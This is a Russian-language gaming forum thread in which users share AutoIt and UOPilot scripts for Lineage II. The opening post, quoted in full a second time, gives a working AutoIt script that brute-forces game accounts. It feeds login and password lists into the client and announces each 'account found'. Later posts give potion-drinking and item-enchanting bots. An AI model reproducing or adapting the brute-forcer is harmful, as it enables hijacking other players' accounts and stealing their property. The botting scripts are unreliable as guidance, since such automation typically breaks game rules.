PDA

Просмотр полной версии : [Скрипт] Полезные скрипты для Linеage, написанные на AutoIT.


marmisha
05.06.2010, 10:12
В этой теме [Ссылки могут видеть только зарегистрированные и активированные пользователи] мне не получилось реализовать в жизнь то, что хотелось в действительности. Зная о том, что действительно нужные халявные программы и скрипты в природе встречаются очень редко, решил создать эту тему. Начал учить AutoIT недавно, но уже понял, на что спосбны правильно написанные скрипты:wow: Предлагаю в данной теме делится своими наработками, либо помогать и совершенствовать выложенные скрипты. Ну, начну:
Краткое описание скрипта:
скрипт позволяет входить в Lineage путем ввода в поля логина\пароля главного окна игры. При вводе второго логина, первый оставшийся логин стирается. Логин и пароль берутся из текстовых файлов login.txt и pass.txt соответственно, так что не забудте создать в папке со скриптом 2 файла login.txt и pass.txt. Внутри тектовых файлов логины\пароли должны быть написаны в виде "одна строка-один логин", "одна строка-один пароль". Перебор идет сверху вниз. Скрипт запускается при появлении главного окна Lineage. Если окно запущено, но не активно, скрипт делает его активным. Скрипт останавливается при нажатии на "Esc". При удачном подборе пароля выдается сообщение "НАЙДЕН АККАУНТ" с прописанным подобранным логином\паролем. Скрипт стоит на паузе до нажатия кнопки "ОК", после нажатия продолжает перебор с найденого акк и далее по списку. Скрипт распознает зависание окна "Пожалуйста подождите. Вы входите в игру" и через определенное время нажимает кнопку "отмена". Выкладываю исходник. Можете менять его под окна своего сервера. Распознавание по пикселям взято с окна "Грации Эпилог" сервера Shock-World.com. ПОВТОРЯЮ: основные настройки (MouseClick,Sleep и PixelSearch) меняйте под себя. Все сделал сам. Сам скрипт еще сыроват, так что строго не судите.


#include <File.au3>
#include <Array.au3>
HotKeySet("{ESC}", "Terminate")
Func Terminate()
Exit 0
EndFunc ;==>Terminate
Dim $aLogins, $aPasswords ;объявляем массивы
;читаем файл в массив
_FileReadToArray(' тут прописываем путь до файла\login.txt', $aLogins)
_FileReadToArray(' тут прописываем путь до файла\pass.txt', $aPasswords)
For $i = 1 To 125000 Step 1
WinWait("Lineage II", "")
If Not WinActive("Lineage II", "") Then WinActivate("Lineage II", "")
WinWaitActive("Lineage II", "")
Sleep(100)
MouseClick("left", 481, 319, 1, 50)
Sleep(100)
MouseClick("left", 481, 319, 2, 50)
MouseClick("left")
Sleep(100)
MouseClick("left")
Send("{BS 20}")
Sleep(200)
Send($aLogins[$i]);Пользователь 1
MouseClick("left", 475, 341, 2, 50)
Sleep(600)
Send($aPasswords[$i]);Пароль 1
Sleep(1000)
Send("{ENTER}")
Sleep(800)
;поиск желтого цвета строки выбора сервера
Sleep(1000)
PixelSearch( 0, 0, 500, 500, 0xB7A761, 0, 1)
If @error Then
Sleep(1000)
MouseClick("left", 403, 371, 1, 50)
EndIf
Sleep(1000)
MouseClick("left", 311, 89, 2, 50)
Sleep(400)
Send("{ENTER}{ENTER}")
Sleep(500)
$coord = PixelSearch(0, 0, 1000, 10000, 0x053986)
If Not @error Then
MsgBox(0, "НАЙДЕН АККАУНТ", $aLogins[$i] & "," & $aPasswords[$i])
EndIf
Next

Syava~
27.07.2010, 12:21
В этой теме [Ссылки могут видеть только зарегистрированные и активированные пользователи] мне не получилось реализовать в жизнь то, что хотелось в действительности. Зная о том, что действительно нужные халявные программы и скрипты в природе встречаются очень редко, решил создать эту тему. Начал учить AutoIT недавно, но уже понял, на что спосбны правильно написанные скрипты:wow: Предлагаю в данной теме делится своими наработками, либо помогать и совершенствовать выложенные скрипты. Ну, начну:
Краткое описание скрипта:
скрипт позволяет входить в Lineage путем ввода в поля логина\пароля главного окна игры. При вводе второго логина, первый оставшийся логин стирается. Логин и пароль берутся из текстовых файлов login.txt и pass.txt соответственно, так что не забудте создать в папке со скриптом 2 файла login.txt и pass.txt. Внутри тектовых файлов логины\пароли должны быть написаны в виде "одна строка-один логин", "одна строка-один пароль". Перебор идет сверху вниз. Скрипт запускается при появлении главного окна Lineage. Если окно запущено, но не активно, скрипт делает его активным. Скрипт останавливается при нажатии на "Esc". При удачном подборе пароля выдается сообщение "НАЙДЕН АККАУНТ" с прописанным подобранным логином\паролем. Скрипт стоит на паузе до нажатия кнопки "ОК", после нажатия продолжает перебор с найденого акк и далее по списку. Скрипт распознает зависание окна "Пожалуйста подождите. Вы входите в игру" и через определенное время нажимает кнопку "отмена". Выкладываю исходник. Можете менять его под окна своего сервера. Распознавание по пикселям взято с окна "Грации Эпилог" сервера Shock-World.com. ПОВТОРЯЮ: основные настройки (MouseClick,Sleep и PixelSearch) меняйте под себя. Все сделал сам. Сам скрипт еще сыроват, так что строго не судите.


#include <File.au3>
#include <Array.au3>
HotKeySet("{ESC}", "Terminate")
Func Terminate()
Exit 0
EndFunc ;==>Terminate
Dim $aLogins, $aPasswords ;объявляем массивы
;читаем файл в массив
_FileReadToArray(' тут прописываем путь до файла\login.txt', $aLogins)
_FileReadToArray(' тут прописываем путь до файла\pass.txt', $aPasswords)
For $i = 1 To 125000 Step 1
WinWait("Lineage II", "")
If Not WinActive("Lineage II", "") Then WinActivate("Lineage II", "")
WinWaitActive("Lineage II", "")
Sleep(100)
MouseClick("left", 481, 319, 1, 50)
Sleep(100)
MouseClick("left", 481, 319, 2, 50)
MouseClick("left")
Sleep(100)
MouseClick("left")
Send("{BS 20}")
Sleep(200)
Send($aLogins[$i]);Пользователь 1
MouseClick("left", 475, 341, 2, 50)
Sleep(600)
Send($aPasswords[$i]);Пароль 1
Sleep(1000)
Send("{ENTER}")
Sleep(800)
;поиск желтого цвета строки выбора сервера
Sleep(1000)
PixelSearch( 0, 0, 500, 500, 0xB7A761, 0, 1)
If @error Then
Sleep(1000)
MouseClick("left", 403, 371, 1, 50)
EndIf
Sleep(1000)
MouseClick("left", 311, 89, 2, 50)
Sleep(400)
Send("{ENTER}{ENTER}")
Sleep(500)
$coord = PixelSearch(0, 0, 1000, 10000, 0x053986)
If Not @error Then
MsgBox(0, "НАЙДЕН АККАУНТ", $aLogins[$i] & "," & $aPasswords[$i])
EndIf
Next



этот скрипт для phx?

Lowlander
27.07.2010, 12:44
этот скрипт для phx?
Это скрипт от autoit, что бы запустить нужен установленный пакет компилятора, качать отсюда [Ссылки могут видеть только зарегистрированные и активированные пользователи]

RenatPro
26.04.2014, 16:21
При изучение AutoIt набросал мини скрипт
Для автоматического использование CP,HP,MP LINEAGE II.
Все очень просто при старте скрипт считывает цвет по координатам и если цвет изменился скрипт пьет бутылки.

Так же для того, что бы определить координаты с помощью программы PixelGetColor мы воспользуемся AutoIt Window Info,
которая идет как дополнение вместе с пакетом AutoIt.

Запустив программу в главном меню, выберите вкладку «Options» затем «Coord Mode» и затем «Client».
Данные действия необходимо выполнить для того, что бы все полученные координаты привязывались к левому верхнему углу игры.


;Имя Окна игры
$hWnd = WinGetHandle("Lineage II")
;Координаты относительно окна игры
Opt("PixelCoordMode", 2)
$CPx = 151 ;Тут координаты CP
$CPy = 32 ;
$HPx = 151 ;Тут координаты HP
$HPy = 47 ;
$MPx = 151 ;Тут координаты MP
$MPy = 62 ;
;При старте считаем цвет
$CPColor = PixelGetColor($CPx, $CPy,$hWnd)
$HPColor = PixelGetColor($HPx, $HPy,$hWnd)
$MPColor = PixelGetColor($MPx, $MPy,$hWnd)
While 1
;Если цвет не совпал жмем клавишу
If PixelGetColor ($CPx ,$CPy,$hWnd) <> $CPColor Then
ControlSend("Lineage II", "", "", "{F10}") ;Жмем на F10 бутыльки c CP
EndIf
If PixelGetColor ($HPx, $HPy,$hWnd) <> $HPColor Then
ControlSend("Lineage II", "", "", "{F11}") ;Жмем на F11 бутыльки c HP
EndIf
If PixelGetColor ($MPx, $MPy,$hWnd) <> $MPColor Then
ControlSend("Lineage II", "", "", "{F12}") ;Жмем на F12 бутыльки c MP
EndIf
;Пауза перед повтором проверки цвета то есть HP Игрока
Sleep(1000)
WEnd

IvaniuS
15.03.2015, 21:13
Скрипт на заточку для СТ++ т.е. грация +

//Enchant all
set #handleWin findwindow (Lineage II)
set workwindow #handleWin
:sets
set %armor[1 1] 1185 //cords X Helmet center!!!
set %armor[1 2] 390 //Y center
set %cords[1 1] 1065 //where X ench UP center!!!
set %cords[1 2] 600 //where Y ench UP center!!!
//DONT EDIT VARIABLES
set #cordsxc 85
set #cordsyc 115
set #SImgX 150
set #SImgY 50
set #EImgX 150
set #EImg 35
//end
set #maxench 20
set $NSlotEnch F1 //key where SOE
//allready ench on ? if u want for skip item set enchant to maxench
set %startench [1] 5 //helmet
set %startench [2] 0 //
set %startench [3] 0 //
set %startench [4] 0 //
set %startench [5] 0 //boots
set %startench [7] 5 //shirt
set %startench [8] 0 //belt
set %startench [9] 0 //erring 1
set %startench [10] 1 //
set %startench [11] 1 //
set %startench [12] 0 //
set %startench [13] 0 //ring 2
set %startench [15] 0 //shield
set #curritm 1 //start item
set $truench z.bmp
set $additem swrd.bmp
// calculations
set %CSImg[1 1] %cords[1 1] - #SImgX
set %CSImg[1 2] %cords[1 2] + #SImgY
set %CSImg[2 1] %CSImg[1 1] + #EImg
set %CSImg[2 2] %CSImg[1 2] + #EImg
set %cords[2 1] %cords[1 1] - #cordsxc
set %cords[2 2] %cords[1 2] + #cordsyc
set %cords[3 1] %cords[1 1] - 20
set %cords[3 2] %cords[1 2] - 20
set %cords[4 1] %cords[1 1] + 20
set %cords[4 2] %cords[1 2] + 20
set %cords[5 1] %cords[2 1] + 75
set %cords[5 2] %cords[2 2]
set %javel[1 1] %armor[1 1] + 150 //cords X first Earring
set %javel[1 2] %armor[1 2]
set %armor[2 2] %armor[1 2]
:Enchant
if %startench [#curritm] < #maxench
send $NSlotEnch
wait 200
if #curritm > 8
set %javel[2 2] %javel[1 2] + (#curritm - 7) *40
kleft_down %javel[1 1], %javel[2 2]
else
set %armor[2 2] %armor[1 2] + (#curritm - 1) *40
kleft_down %armor[1 1], %armor[2 2]
end_if
kleft_up %cords[1 1], %cords[1 2]
double_kleft %cords[2 1], %cords[2 2]
wait 50
double_kleft %cords[2 1], %cords[2 2]
wait 150
set #img findimage (%cords[3 1], %cords[3 2] %cords[4 1], %cords[4 2]($additem) %arr 2 70 1 7)
if #img > 0
kleft %cords[5 1], %cords[5 2]
goto Enchant
else
wait 2600
goto check
end_if
else
if #curritm < 14
set #curritm #curritm +1
if (#curritm = 6) or (#curritm = 12)
set #curritm #curritm +1
end_if
goto enchant
else
stop_script
end_if
end_if
:check
set #img findimage (%CSImg[1 1], %CSImg[1 2] %CSImg[2 1], %CSImg[2 2]($truench) %arr 2 73 1 8)
if #img > 0
set %startench [#curritm] %startench [#curritm] +1
else
set %startench [#curritm] 3
end_if

goto enchant

или по проще
set #n 0
:1
set #y 302 + #n * 40 //центр нижней вещи (кольцо или боты)
send f3 //заточка
wait 100
kleft 583, 337 //кликаем в окно л2
kleft_down 583, #y //зажимаем на предмете
wait 100
goto up
//тянем
:up
IF #n < 4 //пока тянем меняем координаты след вещи
set #n #n + 1
ELSE
set #n 0
end_if
kleft_up 460, 268 //отпускаем в точке
wait 100
kleft 379, 384 // кликаем точить
wait 2700 // ждем анимацию (епилог)
goto 1 //идем к след вещи